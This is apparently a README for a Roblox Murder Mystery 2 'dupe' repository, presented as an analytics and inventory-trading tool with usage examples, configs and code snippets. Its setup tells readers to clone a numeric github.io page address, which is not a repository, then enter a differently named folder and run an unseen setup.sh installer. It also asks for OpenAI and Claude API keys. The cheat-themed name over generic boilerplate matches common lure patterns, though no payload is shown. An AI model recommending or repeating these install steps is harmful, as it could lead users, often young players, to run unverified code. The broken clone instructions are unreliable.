# Clone the repository
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox

# Run automated installer
chmod +x setup.sh
./setup.sh --install

# Install Node.js dependencies
npm install

# Install Python dependencies
python3 -m pip install -r requirements.txt

# Create data directories
mkdir -p data/collections data/exports data/logs

# API Keys (optional, for AI-powered features)
API_OPENAI_KEY=${OPENAI_API_KEY}
API_CLAUDE_KEY=${CLAUDE_API_KEY}

# Data Configuration
DATA_DIRECTORY=./data/collections
ANALYTICS_INTERVAL=300
ENABLE_LIVE_TRACKING=true

# Export Settings
EXPORT_FORMAT=json,csv
AUTO_BACKUP=true
BACKUP_INTERVAL=3600

# Run comprehensive analytics scan
python3 main.py --mode analytics \
  --profile ${USERNAME} \
  --export statistics.json \
  --format json \
  --verbose

# Quick inventory check
python3 main.py --mode inventory \
  --scan-only \
  --filter knife_skins

# Generate performance report
python3 main.py --mode report \
  --type performance \
  --time-range 30d \
  --output ./data/exports/

# Sync inventory from Roblox
python3 main.py --sync-inventory \
  --profile ${ROBLOX_USERNAME}

# Catalog knife skins with rarity analysis
python3 main.py --catalog knives \
  --analyze-rarity \
  --export-csv

# Track gamepass effectiveness
python3 main.py --track-gamepasses \
  --calculate-roi

# Analyze gameplay patterns
python3 main.py --mode strategy \
  --analyze-patterns \
  --role sheriff

# Generate AI recommendations
python3 main.py --ai-insights \
  --use-openai \
  --strategy-focus aggressive

# Practice mode simulator
python3 main.py --practice \
  --scenario innocent_survival \
  --difficulty hard

from mm2_analytics import AnalyticsEngine, Profile, InventoryManager

# Initialize analytics engine
engine = AnalyticsEngine(
    data_dir="./data/collections",
    export_format="json",
    verbose=True
)

# Load user profile
profile = Profile.load("mystery_solver_01")

# Scan inventory
inventory = InventoryManager(profile)
knife_skins = inventory.scan_category("knife_skins", rarity_filter=["legendary", "ancient"])

print(f"Found {len(knife_skins)} premium knife skins")

# Run analytics
results = engine.analyze(
    profile=profile,
    metrics=["win_rate", "role_performance", "inventory_value"],
    time_range="30d"
)

# Export results
engine.export(results, "statistics_2026.json")

from mm2_analytics import InventoryManager, TradeAnalyzer

# Initialize inventory manager
manager = InventoryManager(profile="MysterySolver2026")

# Track all items
inventory = manager.sync_from_roblox()

# Filter by category and rarity
legendary_knives = manager.filter(
    category="knife_skins",
    rarity=["legendary"],
    sort_by="value"
)

# Analyze trade opportunities
trade_analyzer = TradeAnalyzer(inventory)
recommendations = trade_analyzer.get_recommendations(
    strategy="maximize_value",
    risk_tolerance="medium"
)

for rec in recommendations:
    print(f"Trade: {rec.offer} -> {rec.receive} (Expected gain: {rec.value_delta})")

from mm2_analytics import StrategyAnalyzer, GameSession

# Load game sessions
analyzer = StrategyAnalyzer(profile="mystery_solver_01")

# Analyze sheriff performance
sheriff_stats = analyzer.analyze_role(
    role="sheriff",
    metrics=["accuracy", "response_time", "win_rate"],
    time_range="7d"
)

print(f"Sheriff Win Rate: {sheriff_stats.win_rate:.2%}")
print(f"Average Accuracy: {sheriff_stats.accuracy:.2%}")

# Get AI-powered recommendations
recommendations = analyzer.get_ai_recommendations(
    current_stats=sheriff_stats,
    improvement_focus=["accuracy", "map_awareness"]
)

for rec in recommendations:
    print(f"- {rec.suggestion} (Expected improvement: +{rec.impact:.1%})")

from mm2_analytics import Dashboard, ChartGenerator

# Create dashboard
dashboard = Dashboard(profile="mystery_solver_01")

# Generate performance charts
chart_gen = ChartGenerator(
    data_source=dashboard.get_stats(),
    chart_type="line",
    metrics=["win_rate", "kills", "deaths"]
)

# Export interactive HTML dashboard
dashboard.export_html(
    output_path="./data/exports/dashboard.html",
    charts=[
        chart_gen.win_rate_over_time(),
        chart_gen.role_distribution(),
        chart_gen.inventory_value_trend()
    ]
)

# config/profiles/mystery_solver_01.yaml
profile:
  username: "MysterySolver2026"
  roblox_user_id: 123456789
  preferred_role: "sheriff"
  
  inventory_filter:
    - category: "knife_skins"
      rarity: ["legendary", "ancient", "godly"]
      min_value: 1000
    - category: "gamepasses"
      active: true
      
  analytics_preferences:
    tracking_mode: "comprehensive"
    data_refresh_rate: 30
    export_format: ["csv", "json"]
    enable_ai_insights: true
    
  strategy_templates:
    - name: "aggressive_sheriff"
      priority: "high_visibility_areas"
      play_style: "offensive"
    - name: "passive_innocent"
      priority: "distraction_avoidance"
      play_style: "defensive"
      
  notification_settings:
    inventory_changes: true
    trade_alerts: true
    performance_milestones: true

{
  "analytics": {
    "metrics": {
      "win_rate": {
        "enabled": true,
        "calculation": "wins / (wins + losses)",
        "time_ranges": ["7d", "30d", "all"]
      },
      "inventory_value": {
        "enabled": true,
        "currency": "robux",
        "update_frequency": 3600
      },
      "role_performance": {
        "enabled": true,
        "roles": ["sheriff", "murderer", "innocent"],
        "metrics": ["accuracy", "survival_time", "win_rate"]
      }
    },
    "export": {
      "auto_export": true,
      "formats": ["json", "csv"],
      "destination": "./data/exports/",
      "compression": "gzip"
    }
  }
}

from mm2_analytics import DailyAnalyzer
from datetime import datetime

def daily_analytics_routine(profile_name):
    """Run daily analytics and generate report"""
    analyzer = DailyAnalyzer(profile=profile_name)
    
    # Sync latest data
    print("Syncing inventory...")
    analyzer.sync_inventory()
    
    # Calculate daily metrics
    print("Calculating metrics...")
    metrics = analyzer.calculate_daily_metrics()
    
    # Generate report
    report = analyzer.generate_report(
        date=datetime.now().strftime("%Y-%m-%d"),
        include_charts=True,
        export_format="pdf"
    )
    
    # Send notifications if milestones reached
    if metrics.has_milestones():
        analyzer.notify_milestones(metrics.milestones)
    
    return report

# Run daily routine
report = daily_analytics_routine("mystery_solver_01")
print(f"Daily report saved: {report.path}")

from mm2_analytics import InventoryOptimizer

def optimize_inventory(profile):
    """Optimize inventory for maximum value"""
    optimizer = InventoryOptimizer(profile=profile)
    
    # Get current inventory state
    current_inventory = optimizer.get_current_state()
    
    # Identify duplicate items
    duplicates = optimizer.find_duplicates()
    print(f"Found {len(duplicates)} duplicate items")
    
    # Get trade recommendations
    trades = optimizer.recommend_trades(
        strategy="maximize_value",
        min_profit_margin=0.15,
        risk_level="low"
    )
    
    # Calculate portfolio diversity
    diversity_score = optimizer.calculate_diversity()
    print(f"Portfolio diversity: {diversity_score:.2%}")
    
    return {
        "duplicates": duplicates,
        "recommended_trades": trades,
        "diversity_score": diversity_score
    }

from mm2_analytics import AIStrategyAssistant
import os

def get_strategy_suggestions(profile, role):
    """Get AI-powered gameplay suggestions"""
    assistant = AIStrategyAssistant(
        openai_key=os.getenv("API_OPENAI_KEY"),
        claude_key=os.getenv("API_CLAUDE_KEY")
    )
    
    # Analyze recent performance
    recent_games = assistant.load_recent_games(profile, limit=50)
    performance = assistant.analyze_performance(recent_games, role=role)
    
    # Generate suggestions
    suggestions = assistant.generate_suggestions(
        performance_data=performance,
        role=role,
        improvement_areas=["map_awareness", "timing", "positioning"]
    )
    
    # Rank by expected impact
    ranked_suggestions = assistant.rank_by_impact(suggestions)
    
    return ranked_suggestions

# Get sheriff strategy tips
suggestions = get_strategy_suggestions("mystery_solver_01", "sheriff")
for i, suggestion in enumerate(suggestions[:5], 1):
    print(f"{i}. {suggestion.text} (Impact: +{suggestion.expected_improvement:.1%})")

from mm2_analytics import InventoryManager, SyncError

try:
    manager = InventoryManager(profile="MysterySolver2026")
    inventory = manager.sync_from_roblox()
except SyncError as e:
    print(f"Sync failed: {e}")
    
    # Retry with fallback mode
    inventory = manager.sync_from_roblox(
        fallback_mode=True,
        use_cache=True,
        timeout=60
    )
    
    # Verify sync integrity
    if manager.verify_sync():
        print("Sync completed with cached data")
    else:
        print("Manual sync required - check Roblox connection")

# Check export permissions
python3 main.py --check-permissions --directory ./data/exports/

# Force export with specific format
python3 main.py --mode analytics \
  --export statistics.json \
  --force \
  --format json \
  --validate-output

# Debug export pipeline
python3 main.py --mode analytics \
  --export statistics.json \
  --debug \
  --log-level DEBUG \
  --log-file ./data/logs/export_debug.log

from mm2_analytics import PerformanceOptimizer

# Optimize analytics engine
optimizer = PerformanceOptimizer()

# Enable caching for frequent queries
optimizer.enable_query_cache(max_size="500MB")

# Compress old data
optimizer.compress_historical_data(
    older_than="90d",
    compression="gzip"
)

# Index frequently accessed fields
optimizer.create_indexes([
    "timestamp",
    "profile_id",
    "item_category",
    "rarity"
])

# Monitor performance
stats = optimizer.get_performance_stats()
print(f"Query cache hit rate: {stats.cache_hit_rate:.2%}")
print(f"Average query time: {stats.avg_query_time_ms}ms")

from mm2_analytics import RateLimiter
import time

# Configure rate limiter
limiter = RateLimiter(
    max_requests_per_minute=30,
    burst_limit=10
)

# Make API calls with automatic throttling
@limiter.throttle
def fetch_inventory_data(profile):
    # API call implementation
    pass

# Batch operations with rate limiting
profiles = ["user1", "user2", "user3"]
for profile in profiles:
    try:
        data = fetch_inventory_data(profile)
    except limiter.RateLimitExceeded:
        print(f"Rate limit reached, waiting...")
        time.sleep(limiter.get_wait_time())
        data = fetch_inventory_data(profile)

from mm2_analytics import Pipeline, Processor

# Define custom processing pipeline
pipeline = Pipeline()

# Add processing stages
pipeline.add_stage(Processor.normalize_data())
pipeline.add_stage(Processor.calculate_metrics())
pipeline.add_stage(Processor.apply_filters(min_value=1000))
pipeline.add_stage(Processor.aggregate_by("category"))
pipeline.add_stage(Processor.export_results("json"))

# Run pipeline
results = pipeline.run(
    input_data="./data/collections/inventory.json",
    output_dir="./data/exports/"
)

print(f"Pipeline completed: {results.summary}")

from mm2_analytics import LiveMonitor
import asyncio

async def monitor_gameplay():
    """Monitor live gameplay sessions"""
    monitor = LiveMonitor(profile="mystery_solver_01")
    
    await monitor.connect()
    
    async for event in monitor.stream_events():
        if event.type == "game_start":
            print(f"Game started - Role: {event.role}")
        elif event.type == "game_end":
            print(f"Game ended - Result: {event.result}")
            # Update analytics
            await monitor.update_stats(event.data)
        elif event.type == "inventory_change":
            print(f"New item acquired: {event.item}")

# Run async monitor
asyncio.run(monitor_gameplay())